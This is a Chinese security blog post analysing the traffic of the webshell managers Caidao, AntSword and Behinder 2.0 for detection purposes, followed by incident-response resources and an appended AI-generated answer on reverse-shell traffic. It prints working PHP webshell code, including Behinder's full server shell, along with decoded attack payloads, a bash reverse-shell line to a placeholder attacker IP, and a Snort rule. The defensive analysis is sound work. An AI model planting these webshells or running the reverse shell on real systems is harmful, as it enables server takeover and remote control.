Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)&入侵检测、应急响应资料整理

本文分析了常用WebShell管理工具(菜刀、蚁剑、冰蝎2.0及3.0)的流量特点,探讨了它们在攻防场景中的应用,并整理了WebShell入侵检测与应急响应的相关资源。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本文将会从攻防的角度分析常用 webshell 管理工具(菜刀、蚁剑、冰蝎2.0,冰蝎3.0、哥斯拉将在下篇介绍)的流量特点,后半部分会整理一些有关 webshell 入侵检测和应急响应的文章

Webshell 管理工具流量分析

菜刀&Cknife

先从最简单的开始吧,菜刀也算是比较早的 webshell 管理工具了,加密方式比较简单,这里分析 2016 版的菜刀

下载地址:https://github.com/raddyfiy/caidao-official-version

下载之后就直接被 360 查杀了,本地环境就是 PHP 直接在网站目录里放了个一句话,为了减少不必要的流量在 kali 虚拟机中进行操作

如果 kali 没有开启服务,可以使用以下命令

root@kali:~# service apache2 start

在 /var/www/html 下放置 shell.php

<?php @eval($_REQUEST['shell']);?>

验证成功

image-20211222190511447

首先用 wireshark 开启监听,然后使用菜刀连接

image-20211222191551599

图中为菜刀连接时产生的流量

首先,菜刀会伪造 X-Forwarded-For 头,且每一次利用菜刀与webshell建立连接,X-Forwarded-For 都会变化

将这段 post 请求先进行 url 解码

image-20211222192118826

发现请求执行了 base64_decode 函数对 z0 进行 base64 后,经过 eval 函数执行命令,base64 解密 z0

image-20211222192258501

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

这部分就是传输的 payload,首先关闭报错和 magic_quotes,接下来去获取主机的信息

这一段 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs 将其base64解码,为@ini_set("display_errors","0");@set_time_limit(0); 流量特征明显,可以用插件做混淆处理

Cknife

c刀是由java写的客户端,所以它的适用性比较强,linux、windows平台都可以用,cknife首先会查询服务器版本信息,接下来才是查询当前目录。由于cknife是基于菜刀改的,在流量上与菜刀是十分相似的,都包含@eval,以及base64编码后的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs

蚁剑

使用蚁剑进行连接时可以选择编码器

image-20211222193524699

默认编码器

image-20211222194609339

看流量可以发现如果用默认的蚁剑测试,连接时会请求两次(上图为第一次http请求,右击选择追踪 http 流),其请求体只是经过 url 编码,其流量中也存在和蚁剑一样的代码

image-20211222193904110

@ini_set("display_errors", "0");@set_time_limit(0);

这段代码基本是所有 WebShell 客户端链接 PHP 类 WebShell 都有的一种代码

第二次 http 请求(下图)会把目录列出来

image-20211222194821262

Base64编码器

php 的编码器文件在以下目录

antSword-master\source\core\php\decoder

image-20211222195850824

/**
 * php::base64编码器
 * ? 利用php的base64_decode进行编码处理
 */

'use strict';

module.exports = (pwd, data, ext = null) => {
  // 生成一个随机变量名
  let randomID;
  if (ext.opts.otherConf['use-random-variable'] === 1) {
    randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
  } else {
    randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;
  }
  data[randomID] = Buffer
    .from(data['_'])
    .toString('base64');
  data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
  delete data['_'];
  return data;
}

data[pwd], 此函数的作用是作为参数传递的,所以这里在流量当中是明文传输

image-20211222200359895

image-20211222200203883

可以看到传入的变量 shell 没有被加密,软容易被 waf 探测到,其他的编码器也是类似的

RSA模块

有一个RSA模块,使用了RSA非对称加密进行传输,新建编码器 -> RSA配置 -> 点击生成公私钥

image-20211222202519085

然后将生成好的 shell 放到目标机器点击连接查看流量,可以直接使用公钥进行解密,但是这种需要目标机器安装 OpenSsh 扩展库才可以

image-20211222202200140

使用设置好的编码器连接,在流量中 ant 连接字符也没有加密

image-20211222202748651

其他大佬说的并没有遇到

image-20211222203156535

冰蝎

冰蝎利用了服务器端的脚本语言加密功能,通讯的过程中,消息体内容采用 AES 加密,基于特征值检测的安全产品无法查出

项目地址:https://github.com/rebeyond/Behinder/releases

简单了解一下 AES 加密

高级加密标准 (AES,Advanced Encryption Standard) 为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的),对称加密算法也就是加密和解密用相同的密钥,具体的加密流程如下图

加密流程图

冰蝎 2.0 加密原理图如下(Shell 端为服务端):

image-20211222204413052

使用

  1. 首先上传冰蝎专属 webshell(在冰蝎的 server 目录可以找到自带 webshell)

    <?php
    @error_reporting(0);
    session_start();
    if (isset($_GET['pass']))
    {
        $key=substr(md5(uniqid(rand())),16);
        $_SESSION['k']=$key;
        print $key;
    }
    else
    {
        $key=$_SESSION['k'];
    	$post=file_get_contents("php://input");
    	if(!extension_loaded('openssl'))
    	{
    		$t="base64_"."decode";
    		$post=$t($post."");
    		
    		for($i=0;$i<strlen($post);$i++) {
        			 $post[$i] = $post[$i]^$key[$i+1&15]; 
        			}
    	}
    	else
    	{
    		$post=openssl_decrypt($post, "AES128", $key);
    	}
        $arr=explode('|',$post);
        $func=$arr[0];
        $params=$arr[1];
    	class C{public function __construct($p) {eval($p."");}}
    	@new C($params);
    }
    ?>
    
  2. 攻击者使用命令启动

    java -jar .\Behinder.jar
    # 双击不行就用命令
    

    连接 shell

    image-20211222204735743

    添加之后双击即可

2.0流量

webshell分析

以 php 版本的 webshell 为例分析(就是刚刚上传的webshell),查看冰蝎的 webshell 代码,先会对 Get 传入的 pass 这个参数进行检查,如果存在的话会以时间的方式生成长度 16 的随机 key,然后存入到 session 当中,再往后判断是否开启了 openssl 这个扩展,开启的情况就会开启 AES 进行解密,得到中间结果字符串 assert|eval("phpinfo();") 此数据是由冰蝎加载器发出的,已经定义好的,服务端利用 explode 函数将拆分为一个字符串数据,然后以可变函数方式调用索引为 0 的数组元素,参数为索引为 1 的数组元素,即为 assert("eval("phpinfo;")"),没有开启的情况,进行异或处理然后通过 base64 加密

这就是同时在早期有一定的免杀效果,但是这个函数现在已经被标注为危险函数且被加入防火墙规则

2.0 的分析文章:冰蝎,从入门到魔改

image-20211222211247721

使用 Wireshark 查看连接 webshell 的流量进行分析,查看会发送俩次 Get 请求,分为俩次 Get 的握手请求,第一次请求服务端产生密钥写入session,session 和当前会话绑定。不同的客户端的密钥也是不同的,第二次请求是为了获取 key。此时的 99030fc0bb93de17就为解密代码的 key

post 的数据可以利用上面的 Key 进行解密获得代码,可以自己写代码也可以使用在线网站进行解密,在线网站只有在这个网站解密成功

http://tools.bugscaner.com/cryptoaes/

解密后的内容会对代码再次进行了一次base64的解码

image-20211222211554360

左边是没有开启OpenSsl扩展的响应,右面是开启OpenSsl扩展的,对响应进行AES的解密 (下图2) ,base64解码后的内容:{"status":"success","msg":"1a6ed26a-009d-4127-a6fb-1fd4e90c84fa"}

image-20211222211529297

image-20211222211506047

3.0流量

下一篇分析

冰蝎 Behinder 功能原理

  • 《利用动态二进制加密实现新型一句话木马之客户端篇》 https://xz.aliyun.com/t/2799
  • 《利用动态二进制加密实现新型一句话木马之Java篇》 https://xz.aliyun.com/t/2744
  • 《利用动态二进制加密实现新型一句话木马之.NET篇》 https://xz.aliyun.com/t/2758
  • 《利用动态二进制加密实现新型一句话木马之PHP篇》 https://xz.aliyun.com/t/2774

参考链接

资料整理

入侵检测

以上这些文章建议顺序学习,由 pilgrim 发布于 Freebuf,大佬的文章很详细,无需多赘述

应急响应

  • 奇安信安服团队出版的《网络安全应急响应实战指南》一书,微信读书链接

    第1~3章为网络安全应急响应工程师需要掌握的基础理论、基础技能和常用工具,第4~10章为当前网络安全应急响应常见的七大处置场景,分别是勒索病毒、挖矿木马、Webshell、网页篡改、DDoS攻击、数据泄露和流量劫持网络安全应急响应

  • Bypass007团队应急响应笔记

    GitHub 地址:https://github.com/Bypass007/Emergency-Response-Notes

    GitBook 地址:https://bypass007.github.io/Emergency-Response-Notes

    包括入侵排查、日志分析、权限维持、实战部分等部分U

&lt;think&gt;嗯,用户想了解反弹Shell网络流量特征,可能是为了安全研究或者检测恶意活动。首先,我需要回忆一下反弹Shell的基本原理。根据之前的引用,反弹Shell是目标机主动连接到攻击机的监听端口,这样能绕过防火墙或边界设备的限制[^1][^3]。那么流量特征应该和这种连接方式相关。 首先,反弹Shell通常使用哪些协议?常见的有TCP、UDP,甚至可能通过HTTP、HTTPS、DNS等协议进行隧道传输,比如引用[2]提到的不同协议层隧道绕过技术。所以流量特征可能因协议不同而有差异,但基础是目标机向外发起连接。 接下来,分析流量特征可以从几个层面入手:连接方向、协议特征、数据包大小和频率、有效载荷中的命令交互特征。比如,正常的网络连接可能服务端监听,客户端连接,但反弹Shell是目标机作为客户端主动连接外部,这可能触发检测规则,尤其是内网主机突然连接外部IP的异常行为。 协议方面,如果是明文协议如Telnet或HTTP,可能会在载荷中看到交互式命令,比如/bin/bash或sh的执行,这些字符串可以作为特征。加密协议的话,比如HTTPS或SSH,流量本身是加密的,难以检测有效载荷,但元数据如TLS指纹可能有异常,比如自签名证书或异常JA3指纹。 数据包大小和频率方面,交互式Shell会产生小而频繁的数据包,用户在输入命令时可能有明显的节奏,而自动化流量可能更规律。此外,维持心跳的保活包,比如定期发送空数据,可能也是特征之一。 检测方法的话,基于签名的检测可以匹配已知的反弹Shell工具流量模式,但容易绕过。基于行为的分析可能更有效,比如检测内网主机非常用端口的出站连接,或协议与端口不匹配的情况,比如80端口传输非HTTP流量。机器学习模型可以分析流量模式,识别异常。 防御方面,除了防火墙限制出站连接,还需要主机层面的监控,比如检测异常进程的网络活动,或者使用应用白名单。引用[2]提到的内网穿透技术,防御时也需要监控隧道流量,比如异常的DNS请求或ICMP载荷。 用户可能需要具体例子,比如用Wireshark分析TCP反弹Shell的流量,或者检测DNS隧道的方法。此外,引用[3]提到反弹Shell的命令行输入输出重定向,所以有效载荷中可能有特定的重定向符,如&gt;&amp; /dev/tcp/...,这可以作为特征字符串。 可能还需要考虑反弹Shell的持久化手段,比如定时任务或启动项,但这不属于流量特征。重点是网络层面的检测。另外,加密和隧道技术会增加检测难度,需要结合多方面的数据源,如日志分析和端点检测。 总结下来,回答需要分点列出流量特征、检测方法、防御措施,并引用相关文献中的知识点,比如内网穿透技术[^2]和反弹Shell原理。同时,生成的问题要围绕用户可能进一步关心的点,比如工具推荐、加密流量检测、不同协议的差异等。&lt;/think&gt;### 反弹Shell流量特征分析与检测防御 #### 一、反弹Shell流量核心特征 1. **连接方向异常** 反弹Shell的核心是**目标机主动向外发起连接**(例如内网主机连接公网IP的非标准端口),这与常规服务端监听模式相反,易触发异常出站流量告警。 2. **协议与载荷特征** - **明文协议特征**(如TCP反弹Shell): 数据包中可能包含交互式命令特征,例如: ```bash /bin/bash -i &gt;&amp; /dev/tcp/攻击IP/端口 0&gt;&amp;1 ``` 在流量中可见`/bin/sh`、`/bin/bash`、`&gt;&amp;`等字符串。 - **加密协议特征**(如HTTPS/DNS隧道): TLS握手阶段可能显示异常证书(如自签名证书)、JA3指纹不匹配等[^2]。 3. **数据包行为模式** - **小数据包频繁交互**:交互式Shell会产生持续的小数据包(如命令输入与结果输出)。 - **心跳保活机制**:长期空闲连接可能包含周期性空数据包维持连接。 #### 二、检测方法 1. **基于签名的检测** - 匹配已知反弹Shell工具(如Netcat、PowerShell)的流量特征,例如`nc -e /bin/sh`的载荷模式[^3]。 - 示例Snort规则: ```bash alert tcp any any -&gt; any any (content:&quot;/bin/sh&quot;; msg:&quot;Reverse Shell detected&quot;;) ``` 2. **基于行为的检测** - **异常出站连接检测**:识别内网主机连接外部IP的非标准端口(如4444、5555等常见反弹端口)。 - **协议-端口不匹配**:例如80端口传输非HTTP流量(可能隐藏Web隧道)。 3. **机器学习辅助分析** 通过流量时序、包大小分布等特征训练模型,识别异常交互模式(如SSH隧道中加密流量与正常SSH的差异)。 #### 三、防御措施 1. **网络层防御** - 限制内网主机的**非必要出站连接**(通过防火墙策略)。 - 监控**高熵域名请求**(如DNS隧道常用随机子域名)[^2]。 2. **主机层防御** - 使用**EDR工具**监控进程网络行为(如异常bash进程连接外部IP)。 - 启用**命令行审计日志**(记录敏感操作如重定向符`&gt;&amp;`)。 3. **加密流量应对** - 深度包检测(DPI)结合TLS证书指纹分析。 - 强制流量通过代理并解密审查(需合规)。 --- ### 案例分析:TCP反弹Shell流量 通过Wireshark捕获流量可观察到: 1. 目标机向攻击机IP:4444发起TCP三次握手。 2. 载荷中包含`/bin/bash -i`等字符串。 3. 后续数据包呈现交互式特征(如`ls`命令与目录列表结果交替出现)。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OceanSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值